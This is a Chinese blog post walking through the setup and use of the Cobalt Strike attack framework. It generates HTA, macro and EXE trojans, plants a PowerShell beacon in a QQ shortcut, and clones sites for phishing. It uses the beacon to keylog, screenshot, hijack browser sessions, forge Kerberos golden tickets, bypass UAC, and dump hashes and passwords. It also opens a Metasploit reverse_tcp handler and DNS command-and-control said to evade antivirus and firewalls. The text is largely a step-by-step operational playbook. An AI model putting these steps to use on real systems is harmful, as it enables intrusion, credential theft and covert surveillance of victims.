cobaltstrike3.5搭建记录
2016-10-31 20:57
1181 查看
参考链接:
拓展
强化你的Cobalt strike之Cortana http://www.tuicool.com/articles/rAZBB3v
一.服务器搭建与连接
(1)团队服务器上:
但是这个一关闭团队服务器也就关闭了,这里我们可以把他置于后台来运行:
这样就可以了,这个目录下会生成一个nohup.out的文件
内存使用超过%50 无法启动java虚拟机。
在结束Cobalt Strike的时候也要同时结束所有 msfrpcd 进程,不要下次启动会启动不了的。
进行客户端连接
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*
个人在运行的时候,曾经出现过jvm内存不够的问题,可以添加swap虚拟内存,具体参考
使用
一.Cobalt Strike首先需要创建一个Listener
依次点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.0包括
创建好监听器,下面就需要配置客户端了,Cobalt Strike包括多种攻击方式,其中Packages包括如下几种:
二. Attacks过程
(1)Packages
举例
HTML Application 生成一个基于powershell的恶意HTA木马
选中attack–>packages–>HTML Application
Listener: saya
Method: Powershell
上面是选择刚刚创建好的saya监听器你也可以旁边add一个 下面是选择基于powershell的HTA木马
点击Generate保存一个目录即可生成一个HTA木马
目标点击HTA木马后即可获得一个beacon
MS Office Macro 生成office宏病毒文件
这里可以参考:Office Phishing https://wujunze.com/wooyun/drops/Office%20Phishing.html https://wujunze.com/wooyun/drops/使用powershell%20Client进行有效钓鱼.html
(2)Web Drive-by(钓鱼攻击)
还有其他的模块其实都差不多
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻击向量相同
powershell web-Drive-by制作快捷方式后门:
(3)View
(4)Beacon
Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。
其支持多主机连接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。
目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的 通讯。
通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用beacon了,右击电脑,Interact,则可打开Beacon Console;
介绍几个好玩儿的功能,为了能快速显示结果,可以设置
beacon>sleep 0
1)Browserpivot
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了。
使用方式
当然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可使用如下命令:browserpivot stop
2)Socks
可以直接开启socks4a代理,可以通过代理进行内网渗透测试。
或者直接开启隧道使用msf
关闭socks:beacon>socks stop
3)Screenshot&Keylogger
这里的screenshot可以截取受害者一定时间的屏幕截图,操作命令为:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
然后打开View->Screenshots,则可以看到屏幕截图
键盘记录器的使用方式为:
Use: keylogger [pid] <x86|x64>
然后打开View->Keystrokes,则可以看到键盘记录结果
如果不想使用命令行,可以直接选择受害者计算机(可多选):
4)powershell-import
这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,比如nishang的powerpreter,直接执行:
beacon> powershell-import
然后在文件浏览器里面选择 Powerpreter.psm1
或者直接执行:powershell-import [/path/to/local/script.ps1]
进行导入,之后就可以使用powerpreter的各种模块了。
要执行某模块直接使用如下命令,比如:beacon> powershell Check-VM
5)kerberos相关
这里一共有三个模块,分别是:
比如使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
乌云关于kerberos也有相关文章 http://drops.wooyun.org/tips/7547 内网渗透中的mimikatz http://drops.wooyun.org/tips/9591 域渗透的金之钥匙
6)BypassUAC
直接执行:beacon> bypassuac
下面你就可以执行那些需要最高权限的操作了。
这一块在测试Win10的时候并没有成功,关于Win10的bypassuac可以参考博客: http://evi1cg.me/archives/Powershell_Bypass_UAC.html
在这里就演示使用bypassuac的powershell脚本来获取Win10最高权限,由于nishang的powershell脚本现在并不支持Win10,所以这里使用了一个作者修改的powershell脚本 invoke-BypassUAC.ps1(https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/invoke-BypassUAC.ps1)
7)与msf配合使用
从cobalt strike3.0 开始,不再使用Metasploit框架而作为一个独立的平台使用,要通过cobalt strike获取到meterpreter
首先我们使用msf的reverse_tcp开启监听模式:
之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener:
其中ip为msf的ip地址,端口为msf所监听的端口。
然后选中计算机,右键->Spawn:
选择刚刚创建的监听器:
可以看到成功获取了meterpreter回话:
8)通过DNS控制目标
通过DNS来控制目标和渗透好处不多说把,大家都知道,不开端口,能绕过大部分防火墙,隐蔽性好等等。Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。
1. 域名设置
首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的
然后再创建2个或3个ns记录指向刚才创建的A记录
这样我们就可以通过dns找到我们的metasploit服务器了
2. Cobalt Strike设置
在Cobalt Strike中我们添加一个listener
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个ns记录
监听我们设置好了,接下来创建一个木马测试下。
3. 木马生成
在attack->packages中找到windows木马生成
Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。(连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)
把生成的DNS.EXE放到虚拟机中运行。
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们
右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面
首先来设置的是传输的模式,有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多
beacon> mode dns-txt(这里可以用TAB补齐命令的)
键入help可以看到支持的命令
这里就演示几个常用的命令
这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令我返回结果比较慢,在过防火墙方面还是不错的。
https://www.ezreal.net/archives/166.html http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike作者博客 https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之团队服务器的搭建与DNS通讯演示.html
拓展
强化你的Cobalt strike之Cortana http://www.tuicool.com/articles/rAZBB3v
一.服务器搭建与连接
(1)团队服务器上:
sudo ./teamserver 服务器IP 连接密码 (VPS的话要写外网ip,并且可以进行端口映射,默认使用50050端口)
但是这个一关闭团队服务器也就关闭了,这里我们可以把他置于后台来运行:
nohup ./teamserver IP 用户名 &
这样就可以了,这个目录下会生成一个nohup.out的文件
内存使用超过%50 无法启动java虚拟机。
在结束Cobalt Strike的时候也要同时结束所有 msfrpcd 进程,不要下次启动会启动不了的。
进行客户端连接
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*
个人在运行的时候,曾经出现过jvm内存不够的问题,可以添加swap虚拟内存,具体参考
# free –m 查看内存和swap大小 # dd if=/dev/zero of=/tmp/swap bs=1024 count=2000000 (注意:if 表示 infile,of 表示outfile,bs=1024 表示写入的每个块的大小为1024B=1KB(1024B字节=1024*8bit位) # du -sh /tmp/swap 将目的文件大小是否符合要求 # mkswap /tmp/swap 将目的文件设置为swap分区文件 # swapon /tmp/swap 激活swap,立即启用交换分区文件 # free –m 查看内存和swap大小 # vi /etc/fstab 修改文件/etc/fstab中的swap行,使开机时自启用 # LABEL=SWAP-hda2 swap swap defaults 0 0 /tmp/swap swap swap defaults 0 0
使用
一.Cobalt Strike首先需要创建一个Listener
依次点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.0包括
创建好监听器,下面就需要配置客户端了,Cobalt Strike包括多种攻击方式,其中Packages包括如下几种:
二. Attacks过程
(1)Packages
HTML Application 生成恶意的HTA木马文件; MS Office Macro 生成office宏病毒文件; Payload Generator 生成各种语言版本的payload; USB/CD AutoPlay 生成利用自动播放运行的木马文件; Windows Dropper 捆绑器,能够对文档类进行捆绑; Windows Executable 生成可执行exe木马; Windows Executable(S) 生成无状态的可执行exe木马
举例
HTML Application 生成一个基于powershell的恶意HTA木马
选中attack–>packages–>HTML Application
Listener: saya
Method: Powershell
上面是选择刚刚创建好的saya监听器你也可以旁边add一个 下面是选择基于powershell的HTA木马
点击Generate保存一个目录即可生成一个HTA木马
目标点击HTA木马后即可获得一个beacon
MS Office Macro 生成office宏病毒文件
这里可以参考:Office Phishing https://wujunze.com/wooyun/drops/Office%20Phishing.html https://wujunze.com/wooyun/drops/使用powershell%20Client进行有效钓鱼.html
(2)Web Drive-by(钓鱼攻击)
Manage 对开启的web服务进行管理; Clone Site 克隆网站,可以记录受害者提交的数据; Host File 提供一个文件下载,可以修改Mime信息;Host File 可以配合DNS欺骗实现挂马效果使用 PowerShell Web Delivery 类似于msf 的web_delivery ; Signed Applet Attack 使用java自签名的程序进行钓鱼攻击; Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本; System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。 Spear Phish 用来邮件钓鱼的模块
还有其他的模块其实都差不多
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻击向量相同
powershell web-Drive-by制作快捷方式后门:
依次选择attack–>web-Drive-by–>powershell Drive-by URI Path:/ Local Port:80 Listener:saya Laubch生成之后会输出一条语句这条语句在powershell运行会得到一个beacon但是一般人不会这么去运行 随便复制一个软件的快捷方式 这里以QQ快捷方式为例子目标,复制我们的powershell语句,起始位置清空,粘贴我们的语句,"应用",当目标点击快捷方式获得beacon
(3)View
Applications 显示受害者机器的应用信息; Credentials 显示受害者机器的凭证信息,能更方便的进行后续渗透; Downloads 文件下载; Event Log 可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天; Keystrokes 查看键盘记录; Proxy Pivots 查看代理信息; Screenshots 查看屏幕截图; Script Console 在这里可以加载各种脚本以增强功能,脚本地址:https://github.com/rsmudge/cortana-scripts Targets 查看目标; Web Log 查看web日志。 Reporting 主要就是出报告用的
(4)Beacon
Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。
其支持多主机连接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。
目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的 通讯。
通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用beacon了,右击电脑,Interact,则可打开Beacon Console;
介绍几个好玩儿的功能,为了能快速显示结果,可以设置
beacon>sleep 0
1)Browserpivot
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了。
使用方式
ps找到浏览器进程: 注入进程:beacon> browserpivot 3452(ps显示的第一个数字) x64(架构) 注入浏览器进程成功之后,会显示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口号 设置本地浏览器代理: 端口号即为注入的通信端口号
当然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可使用如下命令:browserpivot stop
2)Socks
可以直接开启socks4a代理,可以通过代理进行内网渗透测试。
开启socksbeacon>socks 9999 这里可以选择其中一台,右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理。 配置proxychains.conf,添加: socks4 127.0.0.1 9999 然后就可以通过proxychains 使用各种工具做内网渗透了。
或者直接开启隧道使用msf
依次点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel: setg Proxies socks:192.168.1.103.53790 复制以后,在msf中执行,则可以开启代理: msf>setg Proxies socks:192.168.1.103.53790
关闭socks:beacon>socks stop
3)Screenshot&Keylogger
这里的screenshot可以截取受害者一定时间的屏幕截图,操作命令为:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
然后打开View->Screenshots,则可以看到屏幕截图
键盘记录器的使用方式为:
Use: keylogger [pid] <x86|x64>
然后打开View->Keystrokes,则可以看到键盘记录结果
如果不想使用命令行,可以直接选择受害者计算机(可多选):
4)powershell-import
这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,比如nishang的powerpreter,直接执行:
beacon> powershell-import
然后在文件浏览器里面选择 Powerpreter.psm1
或者直接执行:powershell-import [/path/to/local/script.ps1]
进行导入,之后就可以使用powerpreter的各种模块了。
要执行某模块直接使用如下命令,比如:beacon> powershell Check-VM
5)kerberos相关
这里一共有三个模块,分别是:
kerberos_ccache_use :从ccache文件中导入票据 kerberos_ticket_purge :清除当前会话的票据 kerberos_ticket_use:从ticket文件中导入票据
比如使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
乌云关于kerberos也有相关文章 http://drops.wooyun.org/tips/7547 内网渗透中的mimikatz http://drops.wooyun.org/tips/9591 域渗透的金之钥匙
6)BypassUAC
直接执行:beacon> bypassuac
下面你就可以执行那些需要最高权限的操作了。
这一块在测试Win10的时候并没有成功,关于Win10的bypassuac可以参考博客: http://evi1cg.me/archives/Powershell_Bypass_UAC.html
在这里就演示使用bypassuac的powershell脚本来获取Win10最高权限,由于nishang的powershell脚本现在并不支持Win10,所以这里使用了一个作者修改的powershell脚本 invoke-BypassUAC.ps1(https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/invoke-BypassUAC.ps1)
生成一个beacon后门: Windows Executable Listener:reverse_http Output: Windows EXE 上传后门: beacon> cd E: beacon> upload /Users/evi1cg/Desktop/test.exe 加载powershell执行后门: beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1 beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe' 使用那个破了的电脑的beacon读取密码: beacon> sleep 0 beacon> wdigest beacon> hashdump
7)与msf配合使用
从cobalt strike3.0 开始,不再使用Metasploit框架而作为一个独立的平台使用,要通过cobalt strike获取到meterpreter
首先我们使用msf的reverse_tcp开启监听模式:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit -j
之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener:
其中ip为msf的ip地址,端口为msf所监听的端口。
然后选中计算机,右键->Spawn:
选择刚刚创建的监听器:
可以看到成功获取了meterpreter回话:
8)通过DNS控制目标
通过DNS来控制目标和渗透好处不多说把,大家都知道,不开端口,能绕过大部分防火墙,隐蔽性好等等。Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。
1. 域名设置
首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的
然后再创建2个或3个ns记录指向刚才创建的A记录
这样我们就可以通过dns找到我们的metasploit服务器了
2. Cobalt Strike设置
在Cobalt Strike中我们添加一个listener
Edit Listener Payload windows/beacon_dns/reverse_http host port 80
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个ns记录
监听我们设置好了,接下来创建一个木马测试下。
3. 木马生成
在attack->packages中找到windows木马生成
Windows Executable Listener: beacon(DNS) Output: Windows EXE
Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。(连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)
把生成的DNS.EXE放到虚拟机中运行。
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们
右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面
首先来设置的是传输的模式,有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多
beacon> mode dns-txt(这里可以用TAB补齐命令的)
键入help可以看到支持的命令
这里就演示几个常用的命令
Getuid 获取当前用户 Execute 运行可执行程序(不能执行shell命令) Shell 执行shell命令 Meterpreter 返回一个meterpreter会话
这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令我返回结果比较慢,在过防火墙方面还是不错的。
相关文章推荐
- 使用mondrian3.5 + jpvoit1.8 搭建web应用 记录
- Cobalt Strike之DNS Beacon使用记录
- VMWare虚拟机内核驱动调试环境搭建过程记录
- [原创]Eclipse3.0.1+Lomboz3.0.1+EMF2.0.1+Tomcat 5.0.30 JSP开发环境搭建实战记录
- Android开发环境搭建过程记录
- TGroupon3.5版本今日上线,特此记录!
- Linux下搭建tomcat集群全记录
- ASP.NET 2.0/3.5中直接操作Gridview控件插入新记录
- meego obs 搭建全记录
- Nagios搭建完整记录--田逸老师nagios笔记补充完整版
- 虚拟机安装的三台Ubuntu系统下搭建Hadoop过程记录
- 步步为营VS 2008 + .NET 3.5(11) - DLINQ(LINQ to SQL)之大数据量分页、延迟执行和日志记录
- mySQL搭建master&slave环境记录
- 记录下自己Ubunt 10.04 搭建ruby on rails环境
- 组播测试环境搭建记录(一)
- 影院平台搭建 - (11)记录reiser文件系统故障一次
- 步步为营VS 2008 + .NET 3.5(11) - DLINQ(LINQ to SQL)之大数据量分页、延迟执行和日志记录
- Oracle EBS(11.5.10)环境搭建记录
- VMWare虚拟机内核驱动调试环境搭建过程记录
- 搭建Web服务器环境(转)(博客园不大好用,有需要记录的东西暂时找不到其他地方记录,算了,先记在这里)